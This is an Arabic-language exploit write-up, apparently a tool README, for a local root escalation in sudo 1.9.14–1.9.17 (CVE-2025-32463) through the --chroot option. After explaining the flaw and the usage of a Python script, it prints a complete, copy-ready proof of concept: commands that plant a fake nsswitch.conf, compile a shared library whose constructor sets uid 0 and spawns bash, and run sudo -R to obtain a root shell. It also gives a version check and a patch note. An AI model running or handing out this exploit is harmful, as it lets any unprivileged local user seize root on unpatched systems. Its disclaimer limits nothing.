
استغلال تصعيد صلاحيات محلي لـ sudo 1.9.14-1.9.17 يسيء استخدام معالجة chroot في CVE-2025-32463، عبر زرع مُنشئ خبيث داخل مكتبة NSS لتشغيل صدفة root لأي مستخدم محلي.
تصعيد امتيازات محلي إلى root في sudo عبر خيار --chroot (-R). يعمل مع أي مستخدم محلي، بما في ذلك الحسابات التي لا تملك أي إدخال في sudoers على الإطلاق (مثل www-data).
sudo 1.9.14 – 1.9.17 ينفّذ chroot() إلى الدليل المقدَّم من المستخدم بينما لا تزال سياسة sudoers قيد التقييم — أي قبل قرار التفويض. بعد ذلك chroot()، تقرأ عمليات بحث NSS في sudo ملف /etc/nsswitch.conf من داخل chroot الخاص بالمهاجم، ويحوّل glibc اسم مصدر زائفًا إلى dlopen("libnss_<name>.so.2") — فتُحمَّل المكتبة ويُنفَّذ مُنشئها بصلاحية root.
إن زرع nsswitch.conf مزيف (passwd: /woot1337) إلى جانب مكتبة libnss_/woot1337.so.2 خبيثة يَنفّذ مُنشئ ELF الخاص بها setreuid(0) + exec("/bin/bash") يمنح صدفة root. يُطلَق الاستغلال قبل فحص sudoers، لذا لا يحتاج المُنفِّذ إلى أي صلاحيات sudo.
1.9.14 – 1.9.171.9.17p1 (تم التراجع عن تغيير chroot في 1.9.14؛ وأُهمِلت الميزة)مكتبة Python 3 القياسية، وإصدار sudo ضعيف بصلاحية setuid (1.9.14–1.9.17)، وgcc على الجهاز المستهدف (لبناء وحدة libnss الصغيرة). شغِّل بصلاحية المستخدم منخفض الامتياز.
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
etc/nsswitch.conf على passwd: /woot1337 (+ نسخة من /etc/group).libnss_/woot1337.so.2 — ملف ELF يَنفّذ مُنشئه (__attribute__((constructor))) الأمرين setreuid(0,0) وexecl("/bin/bash", …).sudo -R woot woot — ينفّذ sudo chroot إلى woot، ويجري عمليات بحث NSS، ويستدعي dlopen على libnss_/woot1337.so.2 بصلاحية root، ويمنح المُنشئ صدفة root — قبل أن يفحص sudo أصلًا ما إذا كان المستخدم مصرحًا له.إثبات المفهوم اليدوي المعياري (Stratascale / pr0v3rbs "chwoot"):
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
حدِّث sudo إلى الإصدار ≥ 1.9.17p1. ميزة chroot أصبحت مهملة ولا ينبغي الاعتماد عليها.
لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.